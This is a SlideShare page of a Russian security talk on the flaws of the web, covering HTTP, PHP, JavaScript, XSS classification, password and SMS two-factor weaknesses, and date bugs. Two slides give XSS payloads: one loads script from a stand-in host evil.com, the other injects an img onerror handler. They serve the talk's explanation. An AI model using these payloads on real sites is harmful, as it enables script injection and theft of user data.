SlideShare a Scribd company logo
1 of 65
Все плохо
В 1930-х годах правительство США поручило Гарвардскому
и Принстонскому университетам разработать архитектуру
ЭВМ для военно-морской артиллерии.
• Архитектура фон Неймана
Совместное использование шины для памяти программ и памяти
данных
• Гарвардская архитектура
Исходя из физического разделения шин команд и данных,
разрядности этих шин (следовательно, и адресные пространства)
могут различаться и физически не могут пересекаться
• Архитектура фон Неймана
Совместное использование шины для памяти программ и памяти
данных
• Гарвардская архитектура
Исходя из физического разделения шин команд и данных,
разрядности этих шин (следовательно, и адресные пространства)
могут различаться и физически не могут пересекаться
Как люди с болью и
страданиями шли к
современному интернету
Тим
Бернерс-Ли,
создатель
WWW
А для чего?
Для публикации гипертекстовых
документов, которые были бы связаны
между собой гиперссылками.
Приставку «гипер» тогда любили, да.
Как сейчас «кибер».
Интернет Камень
Возможность записи текста Да Да
Передача данных На длинные расстояния Только на короткие расстояния
Децентрализованность Да Нет
Удобство Да Нет
OOPS
Уже в 1980-е годы стало очевидно, что
распределение адресного пространства
происходит значительно более
быстрыми темпами, чем было
заложено в архитектуру IPv4. Это
привело сначала к появлению
классовой адресации, позднее
бесклассовой адресации, и в конечном
итоге к разработке нового протокола
IPv6.
Сейчас IPv6 дает практически
неограниченное количество
«прокси» злоумышленникам
Первая страница в интернете
HTTP
HyperText Transfer Protocol
1995
Выход
Windows 95
Referer или Referrer?
Авторизация пользователей «секретным словом»
Формы уязвимы к атакам CSRF (межсайтовая подделка
запроса) - костыль, csrf-токены и их аналоги
Пароли передаются прямо в ссылке (костыль –
внедрение сессионных идентификаторов)
Фиксация сессии и их утечки
Много Perl и
Personal Home Page Tools
Personal Home Page Tools
PHP развивает мир
динамических
сайтов
• Низкий порог вхождения
(легкий и понятный ЯП)
• PHP код можно внедрять в HTML
страницу (и наоборот)
• Поддержка множества баз
данных (да здравствуют SQL
инъекции)
Теперь страницы могут
полноценно работать с
пользовательскими данными
Что было и что осталось
Костыли вида <a href=“javascript:void(0)”>tag</a>
Верстка таблицами и прозрачными картинками
Мертвые теги 90х, такие как marquee (бегущая
строка).
Много лишнего
• Осенью 2009 года Бернерс-Ли
извинился за то, что в созданном им
стандарте веб-адресов
используются две косые черты
("слэши" - "//"). По его словам, они
были совершенно лишними, и
добавление их к адресам вызывало
исключительно трату времени.
• www.site.com, ну вот зачем тут
www?
Какой тег
является
корректным
для HTML?
Какой тег корректный?
C) <BR>
D) </BR>
A) <BR></BR>
D) <BR />
Основная часть парсеров HTML
– это поддержка устаревшей
функциональности
HTML тебя поддерживает
JS
Mocha
LiveScript
JavaScript
HTML & JS
Отсутствие строгой консистентности
(Да браузер отрендерит, он же умный)
XSS
Javascript может работать с данными
пользователя, а значит копировать
злоумышленнику, удалять или
изменять
От атак с помощью js очень сложно
защититься
1) Неявные вызовы функций
2) Отсутствие строгой консистентности для
интерпретации (тот же jsfuck.com)
3) Он умеет все, что может пользователь, только больше
(работать с данными, DOM-деревом, кликать кнопочки)
Классификации уязвимостей
Одна из проблем уязвимостей
Уязвимости недооценивают
01
Уязвимости переоценивают
02
Общая проблема классификации
Крошка сын к отцу пришел и спросила кроха:
- что такое XSS и чем это плохо?
Давайте попробуем классифицировать XSS
XSS
Это не уязвимость, это атака
(как следствие недостаточной фильтрации
пользовательских данных)
XSS
XSS – Cross Site Scripting (ну мы прост букву
изменили, потому что можем)
По Wiki– межсайтовый скриптинг
XSS
Поможем перевести. Что такое скриптинг?
XSS
Атака межсайтового выполнения
сценариев
(речь идет конечно же о js, но это не точно)
Ок, поехали дальше.
XSS
Опасная атака? Какой уровень угрозы?
XSS
XSS на пустом лендинге или на
bitrix/wordpress (как следствие –
выполнение произвольных команд ОС)
XSS
?id=‘-$.GetScript(‘//evil.com/evil.js’)-’
Мы запросили свой сценарий js. Вот и
межсайтовое выполнение сценариев.
XSS
?id=“><img/src/onerror=javascript:EvilFunc(1)>
Мы выполнили функцию EvilFunc
(значит выполнение сценариев не межсайтовое)
Подытожим
XSS – это Cross Site Scripting с замененной буквой. В
переводе – межсайтовое выполнение сценариев, в
которой выполнение сценариев может быть не
межсайтовым.
Не уязвимость, а атака с разным уровнем риска
¯  _ (ツ) _ / ¯
Пароли
Пароли должны умереть
В среднем 3 используемых
пароля
Повседневный, усложненный и
пароль для использования в
мобильных устройствах
Стандартное
мышление - у многих
людей одинаковые
пароли
Видели плановые
смены паролей?
• Бессмысленная штука, так как
пароли злоумышленник использует
здесь и сейчас
• Начинают использовать
инкрементные пароли
• Есть сообщение, что пароль устарел
– меняют пароль на новый, а затем
тут же на старый
Внедрение двухфакторной
аутентификации
Стало безопаснее?
У нас есть пароль. При входе просит код из SMS.
Злоумышленник крадет телефон или восстанавливает симку.
Жмет «забыл пароль» – восстанавливает пароль через SMS.
Входит в наш аккаунт, подтверждает код из SMS.
Какой-то продукт, это
конструктор из десятков
других решений
Велосипед или Third party?
Мы уже давно перестали
понимать «как это все
работает»
• отказ от документации
• закрытый код
Нажав на слабое звено,
можно порвать всю цепь.
• Некорректные (небезопасные) примеры в книгах, уроки,
преподавание
• Уязвимости «из коробки» – по умолчанию продукты имеют
небезопасную конфигурацию
• Некорректные советы по предотвращению и исправлению
уязвимостей
«экранируй кавычки» - говорили они
«заверни данные в функцию htmlspecialchars» - кричали они
Интернет - анонимная
шутка
• Дезинформация
• Фейковые отзывы
• Боты (в тех же соцсетях)
Проблемы арифметики
PHP
8.23 - 8.05 = 0.18
80.23 - 80.05 = ?
Javascript
0.23-0.07=0.16
1.23-1.07= ?
Проблемы арифметики
PHP
8.23 - 8.05 = 0.18
80.23 - 80.05 =
0.18000000000001
Javascript
0.23-0.07=0.16
1.23-1.07=
0.15999999999999992
Проблема 2000 года
Проблема, связанная с тем, что разработчики программного
обеспечения, выпущенного в XX веке, иногда использовали два знака
для представления года в датах, например, 1 января 1961 года в таких
программах представлялось как «01.01.61». Некоторые вычислительные
машины имели уже аппаратную обработку даты, однако всего два
десятичных знака (т.е. вместо 4 цифр "1961" хранились и
обрабатывались только 2 цифры "61", см. подпись ко второй картинке
справа).
При наступлении 1 января 2000 года при двузначном представлении
года после 99 наступал 00 год (то есть 99+1=00), что интерпретировалось
многими старыми программами как 1900, а это, в свою очередь, могло
привести к серьёзным сбоям в работе критических приложений,
например, систем управления технологическими процессами и
финансовых программ.
TODO: Проблема 2038 года
Ожидаемые сбои в программном обеспечении 19 января
2038 года. Данная проблема затрагивает программы и
системы, в которых используется представление времени
по стандарту POSIX (UNIX-время), которое представляет
собой количество секунд, прошедшее с 1 января 1970
года. Такое представление времени — это стандарт для
Unix-подобных операционных систем (из-за
повсеместного использования языка Си).
И еще куча всего
• Wi-Fi
• Смартфоны
• Интернет вещей
• Использование слабых
криптографических функций и
функций свертки
Q?

More Related Content

Similar to RIW 2017 | Все плохо

Desktop app based on node js and html5
Desktop app based on node js and html5Desktop app based on node js and html5
Desktop app based on node js and html5Provectus
 
Frontend - экосистема и будущее: iforum 2015
Frontend - экосистема и будущее: iforum 2015Frontend - экосистема и будущее: iforum 2015
Frontend - экосистема и будущее: iforum 2015Eldar Djafarov
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxssyaevents
 
Node.js Меньше сложности, больше надежности Holy.js 2021
Node.js Меньше сложности, больше надежности Holy.js 2021Node.js Меньше сложности, больше надежности Holy.js 2021
Node.js Меньше сложности, больше надежности Holy.js 2021Timur Shemsedinov
 
Как осуществить поиск в Интернете
Как осуществить поиск в ИнтернетеКак осуществить поиск в Интернете
Как осуществить поиск в ИнтернетеBorisovna
 
Ошибки проектирования высоконагруженных проектов / Максим Ехлаков (OneTwoRent)
Ошибки проектирования высоконагруженных проектов / Максим Ехлаков (OneTwoRent)Ошибки проектирования высоконагруженных проектов / Максим Ехлаков (OneTwoRent)
Ошибки проектирования высоконагруженных проектов / Максим Ехлаков (OneTwoRent)Ontico
 
разработка Metro style приложений
разработка Metro style приложенийразработка Metro style приложений
разработка Metro style приложенийОлег Винников
 
Современный фронтенд -- как не утонуть в море хайпа?
Современный фронтенд -- как не утонуть в море хайпа?Современный фронтенд -- как не утонуть в море хайпа?
Современный фронтенд -- как не утонуть в море хайпа?Vladimir Malyk
 
От пояса с инструментами к полноценной лаборатории
От пояса с инструментами к полноценной лабораторииОт пояса с инструментами к полноценной лаборатории
От пояса с инструментами к полноценной лабораторииYandex
 
Swarm (русская версия)
Swarm (русская версия)Swarm (русская версия)
Swarm (русская версия)Victor Grishchenko
 
браузеры презентация
браузеры презентациябраузеры презентация
браузеры презентация4ertenka
 
Ukraine, Kharkiv, Java Club. Day 2
Ukraine, Kharkiv, Java Club. Day 2Ukraine, Kharkiv, Java Club. Day 2
Ukraine, Kharkiv, Java Club. Day 2Andrew Gusev
 
Современный подход к локализации на примере одного проекта
Современный подход к локализации на примере одного проектаСовременный подход к локализации на примере одного проекта
Современный подход к локализации на примере одного проектаSQALab
 
Неумолимая близость десктопа, веба и мобайла
Неумолимая близость десктопа, веба и мобайлаНеумолимая близость десктопа, веба и мобайла
Неумолимая близость десктопа, веба и мобайлаNikita Lipsky
 
Экскурс в мир WEB разработки
Экскурс в мир WEB разработкиЭкскурс в мир WEB разработки
Экскурс в мир WEB разработкиIT-Доминанта
 
Быстрое масштабирование систем
Быстрое масштабирование системБыстрое масштабирование систем
Быстрое масштабирование системMedia Gorod
 
браузеры презентация
браузеры презентациябраузеры презентация
браузеры презентация4ertenka
 
Web programming modern tendencies
Web programming modern tendenciesWeb programming modern tendencies
Web programming modern tendenciesDarkestMaster
 
Лекция 6. Актуальные web-технологии. ПО как сервис
Лекция 6. Актуальные web-технологии. ПО как сервисЛекция 6. Актуальные web-технологии. ПО как сервис
Лекция 6. Актуальные web-технологии. ПО как сервисAnna Kraeva
 
Встраивание Python в мобильные приложения – нюансы interoperation, новые подх...
Встраивание Python в мобильные приложения – нюансы interoperation, новые подх...Встраивание Python в мобильные приложения – нюансы interoperation, новые подх...
Встраивание Python в мобильные приложения – нюансы interoperation, новые подх...Anthony Marchenko
 

Similar to RIW 2017 | Все плохо (20)

Desktop app based on node js and html5
Desktop app based on node js and html5Desktop app based on node js and html5
Desktop app based on node js and html5
 
Frontend - экосистема и будущее: iforum 2015
Frontend - экосистема и будущее: iforum 2015Frontend - экосистема и будущее: iforum 2015
Frontend - экосистема и будущее: iforum 2015
 
Risspa domxss
Risspa domxssRisspa domxss
Risspa domxss
 
Node.js Меньше сложности, больше надежности Holy.js 2021
Node.js Меньше сложности, больше надежности Holy.js 2021Node.js Меньше сложности, больше надежности Holy.js 2021
Node.js Меньше сложности, больше надежности Holy.js 2021
 
Как осуществить поиск в Интернете
Как осуществить поиск в ИнтернетеКак осуществить поиск в Интернете
Как осуществить поиск в Интернете
 
Ошибки проектирования высоконагруженных проектов / Максим Ехлаков (OneTwoRent)
Ошибки проектирования высоконагруженных проектов / Максим Ехлаков (OneTwoRent)Ошибки проектирования высоконагруженных проектов / Максим Ехлаков (OneTwoRent)
Ошибки проектирования высоконагруженных проектов / Максим Ехлаков (OneTwoRent)
 
разработка Metro style приложений
разработка Metro style приложенийразработка Metro style приложений
разработка Metro style приложений
 
Современный фронтенд -- как не утонуть в море хайпа?
Современный фронтенд -- как не утонуть в море хайпа?Современный фронтенд -- как не утонуть в море хайпа?
Современный фронтенд -- как не утонуть в море хайпа?
 
От пояса с инструментами к полноценной лаборатории
От пояса с инструментами к полноценной лабораторииОт пояса с инструментами к полноценной лаборатории
От пояса с инструментами к полноценной лаборатории
 
Swarm (русская версия)
Swarm (русская версия)Swarm (русская версия)
Swarm (русская версия)
 
браузеры презентация
браузеры презентациябраузеры презентация
браузеры презентация
 
Ukraine, Kharkiv, Java Club. Day 2
Ukraine, Kharkiv, Java Club. Day 2Ukraine, Kharkiv, Java Club. Day 2
Ukraine, Kharkiv, Java Club. Day 2
 
Современный подход к локализации на примере одного проекта
Современный подход к локализации на примере одного проектаСовременный подход к локализации на примере одного проекта
Современный подход к локализации на примере одного проекта
 
Неумолимая близость десктопа, веба и мобайла
Неумолимая близость десктопа, веба и мобайлаНеумолимая близость десктопа, веба и мобайла
Неумолимая близость десктопа, веба и мобайла
 
Экскурс в мир WEB разработки
Экскурс в мир WEB разработкиЭкскурс в мир WEB разработки
Экскурс в мир WEB разработки
 
Быстрое масштабирование систем
Быстрое масштабирование системБыстрое масштабирование систем
Быстрое масштабирование систем
 
браузеры презентация
браузеры презентациябраузеры презентация
браузеры презентация
 
Web programming modern tendencies
Web programming modern tendenciesWeb programming modern tendencies
Web programming modern tendencies
 
Лекция 6. Актуальные web-технологии. ПО как сервис
Лекция 6. Актуальные web-технологии. ПО как сервисЛекция 6. Актуальные web-технологии. ПО как сервис
Лекция 6. Актуальные web-технологии. ПО как сервис
 
Встраивание Python в мобильные приложения – нюансы interoperation, новые подх...
Встраивание Python в мобильные приложения – нюансы interoperation, новые подх...Встраивание Python в мобильные приложения – нюансы interoperation, новые подх...
Встраивание Python в мобильные приложения – нюансы interoperation, новые подх...
 

More from Дмитрий Бумов

Defcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs ШурыгинаDefcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs ШурыгинаДмитрий Бумов
 
Отравление кэша веб-приложений
Отравление кэша веб-приложенийОтравление кэша веб-приложений
Отравление кэша веб-приложенийДмитрий Бумов
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.Дмитрий Бумов
 
Skolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITMSkolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITMДмитрий Бумов
 
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegramPHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegramДмитрий Бумов
 
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...Дмитрий Бумов
 
пресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банковпресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банковДмитрий Бумов
 

More from Дмитрий Бумов (20)

2000day in Safari
2000day in Safari2000day in Safari
2000day in Safari
 
Partyhack 3.0 - Telegram bugbounty writeup
Partyhack 3.0 - Telegram bugbounty writeupPartyhack 3.0 - Telegram bugbounty writeup
Partyhack 3.0 - Telegram bugbounty writeup
 
ZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSSZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | I <"3 XSS
 
ZeroNights 2018 | Race Condition Tool
ZeroNights 2018 | Race Condition ToolZeroNights 2018 | Race Condition Tool
ZeroNights 2018 | Race Condition Tool
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
Defcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs ШурыгинаDefcon Russia 2017 - Bo0oM vs Шурыгина
Defcon Russia 2017 - Bo0oM vs Шурыгина
 
DC7499 - Param-pam-pam
DC7499 - Param-pam-pamDC7499 - Param-pam-pam
DC7499 - Param-pam-pam
 
KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>KazHackStan - "><script>alert()</script>
KazHackStan - "><script>alert()</script>
 
VolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSPVolgaCTF 2018 - Neatly bypassing CSP
VolgaCTF 2018 - Neatly bypassing CSP
 
Отравление кэша веб-приложений
Отравление кэша веб-приложенийОтравление кэша веб-приложений
Отравление кэша веб-приложений
 
XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.XSS. Обходы фильтров и защит.
XSS. Обходы фильтров и защит.
 
Skolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITMSkolkovo школа | Капельку о MITM
Skolkovo школа | Капельку о MITM
 
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegramPHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
 
Armsec 2017 | 2 bugs 1 safari
Armsec 2017 | 2 bugs 1 safariArmsec 2017 | 2 bugs 1 safari
Armsec 2017 | 2 bugs 1 safari
 
KazHackStan 2017 | Tracking
KazHackStan 2017 | TrackingKazHackStan 2017 | Tracking
KazHackStan 2017 | Tracking
 
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
 
Разведка боем
Разведка боемРазведка боем
Разведка боем
 
VolgaCTF | Bo0oM - DNS and attacks
VolgaCTF | Bo0oM - DNS and attacksVolgaCTF | Bo0oM - DNS and attacks
VolgaCTF | Bo0oM - DNS and attacks
 
пресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банковпресс конференция 15.06.2016. безопасность платежных систем и банков
пресс конференция 15.06.2016. безопасность платежных систем и банков
 
Fuzz.txt
Fuzz.txtFuzz.txt
Fuzz.txt
 

RIW 2017 | Все плохо

  • 2. В 1930-х годах правительство США поручило Гарвардскому и Принстонскому университетам разработать архитектуру ЭВМ для военно-морской артиллерии.
  • 3. • Архитектура фон Неймана Совместное использование шины для памяти программ и памяти данных • Гарвардская архитектура Исходя из физического разделения шин команд и данных, разрядности этих шин (следовательно, и адресные пространства) могут различаться и физически не могут пересекаться
  • 4. • Архитектура фон Неймана Совместное использование шины для памяти программ и памяти данных • Гарвардская архитектура Исходя из физического разделения шин команд и данных, разрядности этих шин (следовательно, и адресные пространства) могут различаться и физически не могут пересекаться
  • 5. Как люди с болью и страданиями шли к современному интернету
  • 7. А для чего? Для публикации гипертекстовых документов, которые были бы связаны между собой гиперссылками. Приставку «гипер» тогда любили, да. Как сейчас «кибер».
  • 8. Интернет Камень Возможность записи текста Да Да Передача данных На длинные расстояния Только на короткие расстояния Децентрализованность Да Нет Удобство Да Нет
  • 9. OOPS Уже в 1980-е годы стало очевидно, что распределение адресного пространства происходит значительно более быстрыми темпами, чем было заложено в архитектуру IPv4. Это привело сначала к появлению классовой адресации, позднее бесклассовой адресации, и в конечном итоге к разработке нового протокола IPv6.
  • 10. Сейчас IPv6 дает практически неограниченное количество «прокси» злоумышленникам
  • 11. Первая страница в интернете
  • 12.
  • 13.
  • 14.
  • 15.
  • 17.
  • 21. Формы уязвимы к атакам CSRF (межсайтовая подделка запроса) - костыль, csrf-токены и их аналоги Пароли передаются прямо в ссылке (костыль – внедрение сессионных идентификаторов) Фиксация сессии и их утечки
  • 22. Много Perl и Personal Home Page Tools
  • 24. PHP развивает мир динамических сайтов • Низкий порог вхождения (легкий и понятный ЯП) • PHP код можно внедрять в HTML страницу (и наоборот) • Поддержка множества баз данных (да здравствуют SQL инъекции)
  • 25. Теперь страницы могут полноценно работать с пользовательскими данными
  • 26. Что было и что осталось Костыли вида <a href=“javascript:void(0)”>tag</a> Верстка таблицами и прозрачными картинками Мертвые теги 90х, такие как marquee (бегущая строка).
  • 27. Много лишнего • Осенью 2009 года Бернерс-Ли извинился за то, что в созданном им стандарте веб-адресов используются две косые черты ("слэши" - "//"). По его словам, они были совершенно лишними, и добавление их к адресам вызывало исключительно трату времени. • www.site.com, ну вот зачем тут www?
  • 29. Какой тег корректный? C) <BR> D) </BR> A) <BR></BR> D) <BR />
  • 30. Основная часть парсеров HTML – это поддержка устаревшей функциональности HTML тебя поддерживает
  • 32. HTML & JS Отсутствие строгой консистентности (Да браузер отрендерит, он же умный)
  • 33. XSS Javascript может работать с данными пользователя, а значит копировать злоумышленнику, удалять или изменять
  • 34. От атак с помощью js очень сложно защититься 1) Неявные вызовы функций 2) Отсутствие строгой консистентности для интерпретации (тот же jsfuck.com) 3) Он умеет все, что может пользователь, только больше (работать с данными, DOM-деревом, кликать кнопочки)
  • 35.
  • 37.
  • 38. Одна из проблем уязвимостей Уязвимости недооценивают 01 Уязвимости переоценивают 02
  • 39. Общая проблема классификации Крошка сын к отцу пришел и спросила кроха: - что такое XSS и чем это плохо? Давайте попробуем классифицировать XSS
  • 40. XSS Это не уязвимость, это атака (как следствие недостаточной фильтрации пользовательских данных)
  • 41. XSS XSS – Cross Site Scripting (ну мы прост букву изменили, потому что можем) По Wiki– межсайтовый скриптинг
  • 42. XSS Поможем перевести. Что такое скриптинг?
  • 43. XSS Атака межсайтового выполнения сценариев (речь идет конечно же о js, но это не точно) Ок, поехали дальше.
  • 44. XSS Опасная атака? Какой уровень угрозы?
  • 45. XSS XSS на пустом лендинге или на bitrix/wordpress (как следствие – выполнение произвольных команд ОС)
  • 46. XSS ?id=‘-$.GetScript(‘//evil.com/evil.js’)-’ Мы запросили свой сценарий js. Вот и межсайтовое выполнение сценариев.
  • 47. XSS ?id=“><img/src/onerror=javascript:EvilFunc(1)> Мы выполнили функцию EvilFunc (значит выполнение сценариев не межсайтовое)
  • 48. Подытожим XSS – это Cross Site Scripting с замененной буквой. В переводе – межсайтовое выполнение сценариев, в которой выполнение сценариев может быть не межсайтовым. Не уязвимость, а атака с разным уровнем риска ¯ _ (ツ) _ / ¯
  • 50. Пароли должны умереть В среднем 3 используемых пароля Повседневный, усложненный и пароль для использования в мобильных устройствах Стандартное мышление - у многих людей одинаковые пароли
  • 51. Видели плановые смены паролей? • Бессмысленная штука, так как пароли злоумышленник использует здесь и сейчас • Начинают использовать инкрементные пароли • Есть сообщение, что пароль устарел – меняют пароль на новый, а затем тут же на старый
  • 53. Стало безопаснее? У нас есть пароль. При входе просит код из SMS. Злоумышленник крадет телефон или восстанавливает симку. Жмет «забыл пароль» – восстанавливает пароль через SMS. Входит в наш аккаунт, подтверждает код из SMS.
  • 54. Какой-то продукт, это конструктор из десятков других решений Велосипед или Third party?
  • 55. Мы уже давно перестали понимать «как это все работает» • отказ от документации • закрытый код
  • 56. Нажав на слабое звено, можно порвать всю цепь.
  • 57. • Некорректные (небезопасные) примеры в книгах, уроки, преподавание • Уязвимости «из коробки» – по умолчанию продукты имеют небезопасную конфигурацию • Некорректные советы по предотвращению и исправлению уязвимостей «экранируй кавычки» - говорили они «заверни данные в функцию htmlspecialchars» - кричали они
  • 58. Интернет - анонимная шутка • Дезинформация • Фейковые отзывы • Боты (в тех же соцсетях)
  • 59.
  • 60. Проблемы арифметики PHP 8.23 - 8.05 = 0.18 80.23 - 80.05 = ? Javascript 0.23-0.07=0.16 1.23-1.07= ?
  • 61. Проблемы арифметики PHP 8.23 - 8.05 = 0.18 80.23 - 80.05 = 0.18000000000001 Javascript 0.23-0.07=0.16 1.23-1.07= 0.15999999999999992
  • 62. Проблема 2000 года Проблема, связанная с тем, что разработчики программного обеспечения, выпущенного в XX веке, иногда использовали два знака для представления года в датах, например, 1 января 1961 года в таких программах представлялось как «01.01.61». Некоторые вычислительные машины имели уже аппаратную обработку даты, однако всего два десятичных знака (т.е. вместо 4 цифр "1961" хранились и обрабатывались только 2 цифры "61", см. подпись ко второй картинке справа). При наступлении 1 января 2000 года при двузначном представлении года после 99 наступал 00 год (то есть 99+1=00), что интерпретировалось многими старыми программами как 1900, а это, в свою очередь, могло привести к серьёзным сбоям в работе критических приложений, например, систем управления технологическими процессами и финансовых программ.
  • 63. TODO: Проблема 2038 года Ожидаемые сбои в программном обеспечении 19 января 2038 года. Данная проблема затрагивает программы и системы, в которых используется представление времени по стандарту POSIX (UNIX-время), которое представляет собой количество секунд, прошедшее с 1 января 1970 года. Такое представление времени — это стандарт для Unix-подобных операционных систем (из-за повсеместного использования языка Си).
  • 64. И еще куча всего • Wi-Fi • Смартфоны • Интернет вещей • Использование слабых криптографических функций и функций свертки
  • 65. Q?

Editor's Notes

  1. Первые костыли – зарезервированные адреса